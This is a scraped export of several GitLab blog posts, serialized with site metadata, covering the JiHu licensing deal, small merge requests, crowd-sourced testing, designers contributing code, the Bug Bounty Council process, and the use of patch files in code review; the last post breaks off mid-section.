JiHu to implement a locally supported GitLab DevOps solution to deliver their products to market faster. JiHu will ensure GitLab's SaaS and self-managed products are supported, automatically updated, and tailored for Chinese companies.\n\n## Why license technology to a new company?\n\nThe developer community in China is growing fast. According to [Statista](https://www.statista.com/statistics/627312/worldwide-developer-population/), much of the projected developer growth is expected to occur in China, where the growth rate is between 6-8% heading up to 2023. Also, [Gartner's 2019 Hype Cycle for ICT in China](https://www.i-search.com.cn/Hype-Cycle-for-ICT-in-China-2019.pdf) estimates that DevOps currently has a 5-20% penetration of the target audience though it sees the technology as \"transformational.\" \n\nConsidering the lack of a locally based company, which constrains the growth of GitLab the DevOps platform in China, combined with the forked versions of the product that are out of date and not supported by GitLab, it made sense to evaluate the market potential for an independent, locally managed China-based offering.\n\nJiHu was inspired by Sequoia Broadband's JV 3.0 model, which is a model that integrates and leverages the power of Silicon Valley technology and the speed of business in China and has successfully launched a number of other independent companies in China. According to Sequoia CBC, JiHu will be the first Chinese technology company with foreign leading technology and exclusive brand licenses entering the Chinese market under the framework of \"Sino-foreign joint venture 3.0.\"\n\nBy licensing GitLab's technology to an entirely independent and local China-based company, JiHu will be focused on Chinese customer needs, follow local government compliance, encourage community contributions, and help make software development faster and better in China. JiHu can offer a superior solution to alternatives in the Chinese market – many of whom work off of old, unsupported GitLab forks.\n\n## GitLab's investment and involvement in JiHu\n\nGitLab Inc. has licensed its technology and brand to JiHu to use to serve the Chinese market. GitLab's investment is in licensing the code to the new company – there is no financial capital investment from GitLab Inc.\n\nWhile GitLab Inc., Sequoia CBC, and Gaocheng Capital are all investors in JiHu, the company is and will function as an independent company with its own governance structure, management team and CEO, and business support functions including Engineering, Sales, Marketing, Finance, Legal, HR, and Customer Support.\n\nJiHu will provide GitLab's DevOps platform as both a self-managed and SaaS offering hosted in China (via GitLab.cn) that is specifically tailored for the Chinese market. The GitLab.cn application will be completely disconnected and isolated from GitLab.com – it will share no common infrastructure, systems, services, data, or resources.\n\nWhile GitLab Inc. is the inspiration for JiHu, it is its own company and can adjust as needed for the local market. \n\n## Open source community\n\nProviding GitLab to the Chinese market will grow the open source community in China. JiHu will engage with the open source community in China and encourage contributions upstream. All incremental contributions from JiHu to CE (Community Edition) and EE (Enterprise Edition) will be upstreamed as merge requests to GitLab Inc.'s maintainers for enhanced security review prior to acceptance. \n\nGitLab and JiHu will use two separate repositories, where GitLab's repository will be upstream and JiHu's repository will be downstream. Changes to GitLab CE (Community Edition) and EE (Enterprise Edition) will be one-way mirrored to the JiHu Edition, however, changes to the JiHu Edition will not be mirrored back to GitLab CE and EE. \n\nInstead of mirroring, JiHu will be able to contribute to CE and EE by following the same meticulous protocols we already have in place for all other contributors. Each contribution must meet our rigorous standards for security and code quality prior to being added to the GitLab application. \n\nGitLab believes that everyone can contribute and with the addition of JiHu to the Chinese market we believe that there will be a global benefit and even more contributions.\n\n## Security safeguards\n\nThere will be three distributions of the GitLab product: CE (Community Edition), EE (Enterprise Edition), and JH (JiHu Edition). The CE distribution will continue to be available globally. The EE distribution will only be sold outside China. The JH distribution will only be sold in China.\n\nAs an independent company, JiHu will manage its own technologies and infrastructure. JiHu's SaaS service (GitLab.cn) and GitLab Inc.'s SaaS service (GitLab.com) will share no common infrastructure, networking connectivity, systems, services, data, or resources.\n\n![Ensuring separation in code development and hosting](https://about.gitlab.com/images/faq/security-safeguards.png){: .center}\n\nGitLab Inc. will continue to closely adhere to existing security protocols and will augment those safeguards with additional protections as appropriate. Further in-depth details on security measures can be found in our [FAQ](https://about.gitlab.com/pricing/faq-jihu/).\n\n### More information\n\nWe've taken the liberty of trying to anticipate [some of the questions that many of you may have and answering them here](https://about.gitlab.com/pricing/faq-jihu/).\n",[736],{"slug":19159,"featured":6,"template":678},"gitlab-licensed-technology-to-new-independent-chinese-company","content:en-us:blog:gitlab-licensed-technology-to-new-independent-chinese-company.yml","Gitlab Licensed Technology To New Independent Chinese Company","en-us/blog/gitlab-licensed-technology-to-new-independent-chinese-company.yml","en-us/blog/gitlab-licensed-technology-to-new-independent-chinese-company",{"_path":19165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19166,"content":19172,"config":19176,"_id":19178,"_type":16,"title":19179,"_source":17,"_file":19180,"_stem":19181,"_extension":20},"/en-us/blog/iteration-and-code-review",{"title":19167,"description":19168,"ogTitle":19167,"ogDescription":19168,"noIndex":6,"ogImage":19169,"ogUrl":19170,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19170,"schema":19171},"Why small merge requests are key to a great review","Massive merge requests lead to more problems than solutions. We explain how embracing iteration can lead to a better experience for the code author and code review.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681966/Blog/Hero%20Images/broken_wood.jpg","https://about.gitlab.com/blog/iteration-and-code-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why small merge requests are key to a great review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2021-03-18\",\n      }",{"title":19167,"description":19168,"authors":19173,"heroImage":19169,"date":19155,"body":19174,"category":734,"tags":19175},[2680],"\n\nThis post is adapted from a [GitLab Unfiltered blog post](/blog/better-code-reviews/) written by me, [David O'Regan](/company/team/#oregand). In [part one of our series](/blog/tips-for-better-code-review/), we explain the importance of fairness and empathetic thinking in code reviews and in [part two we explain why patch files bring added value to code reviews](/blog/patch-files-for-code-review/).\n{: .note .alert-info .text-center}\n\nThe [GitLab handbook defines iteration as doing the smallest thing possible to get it out as quickly as possible](https://handbook.gitlab.com/handbook/values/#iteration). If there was a single guiding principle I could suggest you lean into with your merge requests it would be iteration. At its heart, software is all about iteration. Software is about taking a large problem and breaking it down into smaller, more manageable problems. Like any other skill, iteration needs to be learned and practiced often to improve. The next time you're hitting the \"Submit merge request\" button, pause a moment and think if the merge you're about to submit could be be downsized.\n\n## Why smaller MRs are better\n\nThe only thing worse than writing a long merge request is reviewing a long merge request. This is why at GitLab, iteration (and by extension, [small merge requests](https://handbook.gitlab.com/handbook/values/#make-small-merge-requests)) is one of our driving values.\n\nWe even created a [DangerBot](https://docs.gitlab.com/ee/development/dangerbot.html) that will ask code authors to break down merge requests that are over a certain size.\n\nMassive merge requests can create technical problems for a code reviewer beyond added complexity. If a review goes beyond a certain number of lines, it simply becomes too difficult to reason through without checking out the branch, booting the project, and [smoke testing](https://en.wikipedia.org/wiki/Smoke_testing_(software)). While smoke testing complex reviews is a great idea, this process shouldn't become a habit for reviewing code. Big MRs can lead to merge conflicts, content rot, and other disasters.\n\n[Sarah Yasonik](/company/team/#syasonik), backend engineer on Monitor at GitLab, suggested that reviewers handle too-large or too-complicated merge requests by creating new, smaller MRs while reviewing, and reviewing the code in chunks. It's better to break up a too-big MR than to continue adding lines of code to an MR that is already too large.\n\n### The art of the follow-up\n\nAs the code author and code reviewer, there are a few best practices to abide by. Namely, if you are a code author and you offer a follow up review, be sure you always follow through on this promise.\n\nIf you are a code reviewer, here are four tips:\n\n*   Feel empowered to ask the code author for a follow up\n*   Accept any offers of a follow up graciously\n*   Be patient with code authors\n*   Know when it's best to reject a follow up offer\n\n## Practical tips for using iteration in code reviews\n\n### Why does iteration matter?\n\nThe smaller the merge request, the easier it is for the code reviewer to check. The idea of shipping small changes is consistent with GitLab's [iteration value](https://handbook.gitlab.com/handbook/values/#iteration). Clement Ho, my frontend engineering manager who has since left GitLab, was a major champion for iteration. Once I started paying close attention to how Clement broke down merge requests into small bites, I started to notice the benefits of iteration almost immediately. Iteration is so important to GitLab that CEO [Sid Sijbrandij](/company/team/#sytses) hosts [weekly office hours devoted to breaking down big projects](/handbook/ceo/#iteration-office-hours), and grades our team members on their [iteration competency](https://handbook.gitlab.com/handbook/values/#iteration-competency).\n\n### How small merge requests helps your reviewer\n\nIf iteration is all about releasing the [minimal viable change (MVC)](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) in small merge requests, then it follows that engineers who fully embrace iteration will be shipping less code per merge request, to the delight of their reviewer.\n\nWe've all been there. We are assigned as a reviewer on an MR, and just as you're about to get comfortable you open the MR to see more than 1000 lines of code across multiple files. Time to refill your mug of coffee and get ready for a tiring review process.\n\nThe problems with large MRs should be obvious [if you've ever practiced self-reviews](/blog/tips-for-better-code-review/) or found yourself in this situation. Here are a few reasons why large MRs are indicative of bigger problems:\n\n*   Longer MRs have more lines of code\n*   There is the greater chance for brittle connections\n*   It becomes harder to follow the path of the solution/feature\n*   Screenshots usually cannot account for the volume of change\n*   It's much easier to miss bugs\n*   The author is sure to be left with lots of comments, which can be demoralizing\n\nIt's a simple concept, but one that is undervalued. Keep your merge requests small because:\n\n*   There are less lines of code to read\n*   Different contexts are separated into individual MRs\n*   The reviewer can follow along more easily\n*   It's easier to follow the path of a feature's development\n*   Less reviewer comments per MR is better for motivating the code author\n\nIn the end, we review code carefully at GitLab because we want to ensure that every release brings new value to our customers. If you have questions or comments about code reviews, creating smaller MRs, or iteration, leave us a comment on this blog post!\n\nGet more code review tips by reading the other blog posts in our series. In part one, we discuss [the role of fairness in code review](/blog/tips-for-better-code-review/) and in part two we share some [practical advice on using patch files](/blog/patch-files-for-code-review/).\n\n_Sara Kassabian contributed to this blog post._\n\nCover image by [Jon Sailer](https://unsplash.com/@eyefish73) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[1207,676],{"slug":19177,"featured":6,"template":678},"iteration-and-code-review","content:en-us:blog:iteration-and-code-review.yml","Iteration And Code Review","en-us/blog/iteration-and-code-review.yml","en-us/blog/iteration-and-code-review",{"_path":19183,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19184,"content":19189,"config":19194,"_id":19196,"_type":16,"title":19197,"_source":17,"_file":19198,"_stem":19199,"_extension":20},"/en-us/blog/collaborating-on-a-cross-stage-feature",{"title":19185,"description":19186,"ogTitle":19185,"ogDescription":19186,"noIndex":6,"ogImage":14699,"ogUrl":19187,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19187,"schema":19188},"How we tested a feature that affected (almost) all parts of GitLab","Crowd-sourcing testing across teams","https://about.gitlab.com/blog/collaborating-on-a-cross-stage-feature","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we tested a feature that affected (almost) all parts of GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aakriti Gupta\"}],\n        \"datePublished\": \"2021-03-17\",\n      }",{"title":19185,"description":19186,"authors":19190,"heroImage":14699,"date":19191,"body":19192,"category":18484,"tags":19193},[17534],"2021-03-17","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIn 13.9 Team Geo [released Maintenance Mode](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#maintenance-mode), which was a large, cross stage and cross team project, a few milestones in the making.\n\nThis feature allows system administrators to put GitLab in a read-only mode. All parts of the system are affected and testing such a wide scope was challenging.\n\n## Why was testing this feature hard?\n\nAs we started testing with the QA team, it was clear that no one individual or team could know enough about the entire product to design a comprehensive QA plan. The more we tested, the more features we found to test - it was soon becoming an impossibly long list of tests to write for our small team.\n\nWe needed to prioritize manually testing the most important features, and save working on automated tests for another iteration.\n\nBut, what were the most important things to test?\n\nThis is where we decided to crowd-source testing. [We rolled-out discussion issues](https://gitlab.com/dashboard/issues?scope=all&utf8=%E2%9C%93&state=closed&author_username=aakriti.gupta&search=crowd-sourced+maintenance+mode+testing) to each of the 13 stages and asked them to contribute the three most important features that they own, that we should prioritise testing.\n\nWe used these issues to share knowledge of maintenance mode, and responsibility of its development, testing and documentation.\n\nThe response was overwhelming!\n\nProduct managers and engineers from across the development department contributed to our list of tests and collaboratively reviewed and improved documentation. They proactively asked how their features would behave and in some cases, even started MRs to fix the documentation.\n\nThe conversations helped us hone our plan for future iterations of this feature.\n\n## What we learned\n1\\. **Test iteratively and collaboratively**\n\nGet QA and developer teams working together early, instead of after development is almost done, or worse - after release. GitLab's [Quad planning](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/quad-planning/) process was introduced last year to foster better collaboration between Quality, Development, UX, and Product teams. As [Jennie from QA](https://gitlab.com/jennielouie) chalked out a plan for QA together with developers, she found a few edge cases that would have otherwise been discovered too late.\n\n2\\. **Don’t hesitate to ask other teams to contribute**\n\nWhen we rolled out a dozen plus issues to all development teams, we were not sure if we’d get even a few responses, but we were overwhelmed with the interest, response and active participation that came from all the teams.\n\n3\\. **Communicate well**\n\nGive people enough and succinct information. When requesting help from other teams, help them prioritize the request by explaining the why.\n\n4\\. **Documentation as a form of developer communication**\n\nAs we worked through large documentation MRs, I realized the documentation was not only important for system administrators, but for developers of GitLab as well. Developers wanted to know how maintenance mode affected their features.\n\n5\\. **Iterate**\n\nKeep the discussions short-lived and focused on the most important aspects. Do not draw out the conversations too long, and move pending conversations over to follow-up issues.\nAs we learned of new test cases, [Nick from QA](https://gitlab.com/nwestbury) and I created follow-up test issues to resolve together with DRIs.\n\n6\\. **The more, the merrier**\n\nWhile the discussions started only with Engineering Managers and Product Managers, they often invited engineers in their conversations and this brought more eyes to the project and helped us answer a lot of unknowns.\n",[2368,676,3798,942,1444],{"slug":19195,"featured":6,"template":678},"collaborating-on-a-cross-stage-feature","content:en-us:blog:collaborating-on-a-cross-stage-feature.yml","Collaborating On A Cross Stage Feature","en-us/blog/collaborating-on-a-cross-stage-feature.yml","en-us/blog/collaborating-on-a-cross-stage-feature",{"_path":19201,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19202,"content":19208,"config":19212,"_id":19214,"_type":16,"title":19215,"_source":17,"_file":19216,"_stem":19217,"_extension":20},"/en-us/blog/why-do-gitlab-designers-contribute-to-the-codebase",{"title":19203,"description":19204,"ogTitle":19203,"ogDescription":19204,"noIndex":6,"ogImage":19205,"ogUrl":19206,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19206,"schema":19207},"Why do GitLab designers contribute to the codebase?","This article is not another blog post about whether designers should code. Instead, it's the perspective of a GitLab designer learning to contribute.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679556/Blog/Hero%20Images/insights.png","https://about.gitlab.com/blog/why-do-gitlab-designers-contribute-to-the-codebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why do GitLab designers contribute to the codebase?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Austin Regnery\"}],\n        \"datePublished\": \"2021-03-17\",\n      }",{"title":19203,"description":19204,"authors":19209,"heroImage":19205,"date":19191,"body":19210,"category":18484,"tags":19211},[10221],"\n\n\n\nWorking with engineering in the past used to feel so foreign to me. I never truly understood all the complexities of collaborative software development, and in full transparency, I still don’t. However, using GitLab has taught me how to contribute to the success of our product. \n\n## We believe everyone can contribute\n\nAt GitLab, one of our [goals](https://about.gitlab.com/company/mission/#goals) is to ensure that everyone can contribute to GitLab the application and the company. To help share this working knowledge, everyone that works at GitLab must add themselves to the [team page](https://about.gitlab.com/company/team/). Conquering this development task can be daunting because there are new terms and lots of steps. However, our [documentation](https://about.gitlab.com/handbook/git-page-update/#12-add-yourself-to-the-team-page) does a great job of helping reduce the barrier of entry.\n\n## Develop shared empathy\n\nI never had access to the codebase in previous product teams because it was far too time-consuming to get a build environment configured on my computer. For GitLab, this is a requirement so that I can review changes before they go to production. During onboarding, I invested a decent amount of time setting up the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md) (gdk) on my computer. It was a challenge, but now I know why getting developers up and running can be incredibly complex. I can even more greatly appreciate the [GitPod integration](https://docs.gitlab.com/ee/integration/gitpod.html), which does all the heavy lifting of setup for you in minutes.\n\n![GitPod + GitLab = Love](https://about.gitlab.com/images/blogimages/why-do-gitlab-designers-contribute-to-the-codebase/teaser-gitlab-gitpod.jpg)\nSource: [GitLab Support for Gitpod is Here](https://www.gitpod.io/blog/gitlab-support/) \n{: .note.text-center}\n\nOnce my setup was ready to go, I was able to jump in. When I started at GitLab there was a [quarterly goal](https://gitlab.com/groups/gitlab-org/-/epics/3914) to migrate our button components to the new front-end we were using. I migrated several buttons, but [the one I am most proud of](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46990) required me to step into an area of GitLab I was completely unfamiliar with. I had to get a niche button to verify that my changes were correct, which required me to learn how to get [Terminal working in the GitLab WebIDE](https://docs.gitlab.com/ee/user/project/web_ide/#interactive-web-terminals-for-the-web-ide). Then, I reached out to other designers and team members to get my [runners](https://docs.gitlab.com/runner/) to function correctly. This helped me understand more complex areas of GitLab better than just reading the documentation. It is one thing to read about something, and a totally different beast to make something work yourself.\n\nThis idea of [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) is something we uphold as a sub-value at GitLab. By using GitLab to contribute to GitLab the application and company, we put ourselves in our users’ shoes. If we don’t like something then we are that much more motivated to change it. \n\n## Diversify skill sets\n\nAs a designer, I want to have a functional understanding of the frontend framework I am designing within. Having the basics down allowed me to communicate expectations, minimize assumptions, and ask insightful questions. Working through the initial learning curve has helped me tremendously in the coming months for scoping designs and working alongside engineering. \n\nSometimes rather than just sending a mockup to my engineers, I’ll open a Merge Request to propose a change instead. For example, I could have asked them to update the border color of a table, but I discovered removing an extra CSS class would fix the problem; submitting that change was much faster than creating a mockup and chatting about it asynchronously.\n\nIt's much easier to get input from engineers if you are talking about something specific in the codebase, instead of something more nebulous like border colors. Engineers will have to dig into the codebase to reference what is there, so help save them a step if you can. Discussing an explicit change is actionable, which is why we say [everything starts with a merge request](https://about.gitlab.com/handbook/communication/start-with-a-merge-request).\n\n> ### \"It's much easier to get input from engineers if you are talking about something specific in the codebase.\"\n\nDoing smaller and simpler changes made me comfortable trying more complex ideas like [replacing label colors with common names](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50393). Each merge request taught me something new. I learned more about keeping my code formatting clean, writing good commit messages, and how to resolve failing pipelines. All things that contributors to GitLab must learn at some point in time.\n\nAs I learn about the different nuances that come with various pages in GitLab, I rely less on asking questions because I can look them up myself. For example, it is not always visually identifiable in the GitLab UI if a page is coded in HAML or Vue. Before I suggest a change or even start designing in some cases, I look for these differences in the codebase. Touching HAML can be more complicated than working with the Vue components documented in Pajamas.\n\nFor User Research, I can use these small changes for [Short Tests](https://help.usertesting.com/hc/en-us/articles/360055473112-Short-Tests-Beta-) instead of using complex prototypes in Figma. Using research to drive decision-making can help reduce subjective bias for implementing an idea.\n\n![Comparing a change before and after in a Merge Request](https://about.gitlab.com/images/blogimages/why-do-gitlab-designers-contribute-to-the-codebase/before-after.png)\nTesting a live environment can be useful for validating changes - [View Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51753) \n{: .note.text-center}\n\nNot only can I make more informed design decisions, but I can also contribute ideas that others are excited about. I am actively working on two:\n\n- [Add UX reviewer/maintainer to Danger bot](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51127)\n- [Add a shortcut for collapsible section markdown](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54938)\n\nI started working on both ideas while I was between meetings, and I have continued to progress them along ad-hoc. It has been fun to see some of my ideas make it into GitLab, but I also have a nice collection of [scrapped ideas](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=closed&author_username=aregnery).\n\n## Conclusion\n\nI have already come a long way from making my first Merge Request at GitLab. I thought I knew the basics of git, but going through this process helped me get my feet wet with more complex development and working in a single repository. I learned about having others review and approve my changes, the magic of seeing checkmarks for all pipelines, and finally, the Merge Request badge turning from Open to Merged.\n\nIf you are interested in learning how I create small merge requests, then watch this walkthrough of my process.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n    \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/PnxHQGpFD1w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n",[2249,2248,695,2368,11037],{"slug":19213,"featured":6,"template":678},"why-do-gitlab-designers-contribute-to-the-codebase","content:en-us:blog:why-do-gitlab-designers-contribute-to-the-codebase.yml","Why Do Gitlab Designers Contribute To The Codebase","en-us/blog/why-do-gitlab-designers-contribute-to-the-codebase.yml","en-us/blog/why-do-gitlab-designers-contribute-to-the-codebase",{"_path":19219,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19220,"content":19226,"config":19232,"_id":19234,"_type":16,"title":19235,"_source":17,"_file":19236,"_stem":19237,"_extension":20},"/en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process",{"title":19221,"description":19222,"ogTitle":19221,"ogDescription":19222,"noIndex":6,"ogImage":19223,"ogUrl":19224,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19224,"schema":19225},"Inside the Bug Bounty Council at GitLab","We improve consistency across severity ratings and payouts in our bug bounty program with collaboration, iteration, and async communication.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681956/Blog/Hero%20Images/gitlab-values-header.png","https://about.gitlab.com/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the Bug Bounty Council at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Kelly\"}],\n        \"datePublished\": \"2021-03-16\",\n      }",{"title":19221,"description":19222,"authors":19227,"heroImage":19223,"date":19229,"body":19230,"category":674,"tags":19231},[19228],"Andrew Kelly","2021-03-16","\n\nThe [Application Security (AppSec) team at GitLab](/handbook/security/security-engineering/application-security/) works closely with engineering and product teams to ensure the security of our products. There’s another group we also work with regularly to secure our product -- the amazing hackers who submit reports to us via [our bug bounty program](https://hackerone.com/gitlab). These talented individuals from around the world research and identify security vulnerabilities in GitLab and submit bug reports detailing their findings. GitLab’s AppSec team verifies and triages the findings and the reporters are rewarded a bounty for making our product stronger. \n\nBeyond the cold hard cash, we’re continually looking for ways to recognize and further engage the deep talent and expertise of the security researchers that contribute to our program.  We’ve started a new blog series, “Ask a Hacker” and just featured `@ajxchapman` in this [latest blog post](/blog/ajxchapman-ask-a-hacker/). We’ve also kicked off a series of public Ask Me Anything (AMA) sessions with hackers who contribute to our program and we’ve got one coming up with [Alex Chapman](https://hackerone.com/ajxchapman) on **March 22 at 15:30 UTC** ([see the world clock](https://www.timeanddate.com/worldclock/fixedtime.html?msg=GitLab+AMA+with+Bug+Bounty+Hunter%2C+Alex+Chapman&iso=20210322T0830&p1=224&am=25)) and we hope you’ll join us! \n\n**Get all of the details in [this Google Form](https://docs.google.com/forms/d/e/1FAIpQLSd_FFsK58KmUzYYIRU2P6BItjx1L9gnGrGY_RPz7_1pHTADAg/viewform), including how to get an invite.** \n\n![Ajxchapman AMA](https://about.gitlab.com/images/blogimages/ama-with-alexchapman-blog.png){: .large.center}\n\n## Achieving consistent severity and bounty assessments through collaboration\nWe strive to be open about as many things as possible and one of GitLab’s core values is [transparency](https://handbook.gitlab.com/handbook/values/#transparency). In bug bounty programs, we know there can be confusion around how severity levels and specific bounty awards are determined for a given report. So, we want to provide some insight into the GitLab Bug Bounty Council process and how we use it to ensure collaboration and consistency across our severity and bounty assessments.\n\n### The mechanics of the council\nWe try to [dogfood](/handbook/engineering/development/principles/#dogfooding) as much as possible, so our Bug Bounty Council process relies heavily on the use of an [issue tracker](https://docs.gitlab.com/ee/user/project/issues/) specifically set up for the AppSec team. Every week, a bot creates a new Bug Bounty Council issue, which serves as the source of truth for discussions and decisions made about any verified vulnerabilities that came in through HackerOne that week. [Asynchronous communication](/company/culture/all-remote/asynchronous/) is critical for bounty discussions since our AppSec team is distributed around the world. As of writing this post, we have team members spread across multiple time zones in 10 different countries.\n\nWhen a HackerOne report [gets triaged](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html#working-the-queue), an issue comment thread is created on the current week’s Bug Bounty Council issue. This comment thread is where any discussion about a specific report and/or bounty will happen and typically includes:\n- Link to the HackerOne report\n- Brief description of the finding\n- A recommendation for the bounty amount\n- References to similar issues and bounty amounts that were paid, if available\n- The [CVSSv3](https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System) vector string for the vulnerability\n\nThe team member triaging the report can add any additional information, discussion items, or questions that they may have for the broader team, and the weekly council has become a great place for our AppSec engineers to solicit feedback from team members about the findings themselves. Other members of the AppSec team are then encouraged to share their feedback about the severity, consistency with other similar reports, or bounty amount.  In the case of bounty amounts, this number is ultimately determined once a particular suggestion has received at least two thumbs-up emoji (👍) from other AppSec team members.\n\n## Applying iteration to improve efficiency and accuracy\nWe’re always looking for ways to embrace [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and improve our processes. Recently our amazing [security automation](/handbook/security/security-engineering/automation/) team configured things so that triaged reports are automatically added to the Bug Bounty Council issues, which saves our triagers time and ensures that every report gets discussed.\n\nAnother iteration implemented in the past few months is the addition of a requirement that each vulnerability get an approval on the CVSSv3 vector string in addition to the bounty amount. CVSS scores attempt to describe the characteristics of a vulnerability and include a numerical score that represents the severity. Each proposed CVSSv3 score is up for discussion and requires at least two bug emoji (🐛) from other AppSec team members. The goal here is to make our CVSSv3 vector strings as accurate as possible before a CVE is requested through GitLab’s [CVE Numbering Authority](/security/cve/).\n\n## Iterating towards increased transparency\nThe Bug Bounty Council is an internal process meant to increase collaboration on the decision making involved in severity and bounty determinations. And, through this function-wide collaboration and documented discussion, we can already see improvements in consistency across level-setting. Naturally, transparency around this process can be improved and that’s what we’re aiming to do. We’re exploring ways to further utilize CVSS in our process as well as incorporating a CVSS calculator around both severity and bounty determinations, bringing a whole new level of transparency to this process. We’re really looking forward to when we can implement and announce these changes and know it will be a welcome iteration by the bug bounty reporter community.\n\n## New features released, 22nd of each and every month\nOur bug bounty program is open (public since December 2018) and anyone can participate. If you’re interested in collaborating with us to make our platform more secure please feel free to submit a bug bounty report to us! This feels like a great time to remind first-time and veteran reporters, too, that we release new features on the 22nd of every month. You can learn more about [our release process](/releases/), see the [latest monthly release blog post](/releases/categories/releases/) and see what's coming in [future releases](/upcoming-releases/). Interested bug hunters may just find *something new* that piques their interest.😜\n",[674,1938,676],{"slug":19233,"featured":6,"template":678},"how-we-apply-gitlab-values-to-our-bug-bounty-council-process","content:en-us:blog:how-we-apply-gitlab-values-to-our-bug-bounty-council-process.yml","How We Apply Gitlab Values To Our Bug Bounty Council Process","en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process.yml","en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process",{"_path":19239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19240,"content":19246,"config":19251,"_id":19253,"_type":16,"title":19254,"_source":17,"_file":19255,"_stem":19256,"_extension":20},"/en-us/blog/patch-files-for-code-review",{"title":19241,"description":19242,"ogTitle":19241,"ogDescription":19242,"noIndex":6,"ogImage":19243,"ogUrl":19244,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19244,"schema":19245},"How patch files can transform how you review code","We explain how to use patch files for better code review.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672273/Blog/Hero%20Images/patch.jpg","https://about.gitlab.com/blog/patch-files-for-code-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How patch files can transform how you review code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2021-03-15\",\n      }",{"title":19241,"description":19242,"authors":19247,"heroImage":19243,"date":19248,"body":19249,"category":734,"tags":19250},[2680],"2021-03-15","\n\nThis post is adapted from a [GitLab Unfiltered blog post](/blog/better-code-reviews/) written by me, [David O'Regan](/company/team/#oregand). In [part one of our series](/blog/tips-for-better-code-review/), we explain the importance of fairness and empathetic thinking in code reviews.\n{: .note .alert-info .text-center}\n\n## Patch files\n\nWanna know a `git secret`? [Patch files](https://git-scm.com/docs/git-format-patch) are magic when it comes to code reviews. A [patch is a text file whose contents are similar to Git diff](https://www.tutorialspoint.com/git/git_patch_operation.htm) but along with code it contains metadata about commits, for example, a patch file will include commit ID, date, commit message, etc. We can create a patch from commits and other people can apply them to their repository.\n\n## How to use a patch file\n\nA patch file is useful for code review because it allows the reviewer to create an actionable piece of code that shares their thoughts with the MR author. The code author can then apply the suggestion directly to their merge request. Patch files foster collaboration because it essentially creates a paired programming session in the review process.\n\nThis lets other people check your changes in the git patch files for any corrections that need to be made before the changes truly go live. After everything has been checked and corrections made, the changes can be pushed to the main branch of the repository. \n\nOne of the [better examples of a simple patch file in action](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31686#note_341534370) comes from [Denys Mishunov](/company/team/#dmishunov), staff frontend engineer on the Create team.\n\n```bash\nIndex: app/assets/javascripts/projects/commits/components/author_select.vue\nIDEA additional info:\nSubsystem: com.intellij.openapi.diff.impl.patch.CharsetEP\n\u003C+>UTF-8\n===================================================================\n--- app/assets/javascripts/projects/commits/components/author_select.vue\t(revision 697d0734f1ae469a9a3522838e36b435d7cdf0be)\n+++ app/assets/javascripts/projects/commits/components/author_select.vue\t(date 1589356024033)\n@@ -110,6 +110,7 @@\n     \u003Cgl-new-dropdown\n       :text=\"dropdownText\"\n       :disabled=\"hasSearchParam\"\n+      toggle-class=\"gl-py-3\"\n       class=\"gl-dropdown w-100 mt-2 mt-sm-0\"\n     >\n       \u003Cgl-new-dropdown-header>\n\n```\n\nTo generate this suggestion, Denys pulled down the code he was reviewing and was able to offer a code solution based on his own testing. The patch file contains lots of valuable information, including the file affected, the date the revision was made, and the tool he used to generate the patch.\n\n## How to create a patch file\n\nYou can make a patch file using a web editor or with the command line. Read on to see how to create a patch file in GitLab both ways.\n\n### Patch files using a web editor\n\nIf you are rocking a nice fancy IDE or text editor, here's some good news: Most support patch files via plugins or out of the box. Here are some links to documentation on how to use patch files with different plugins: 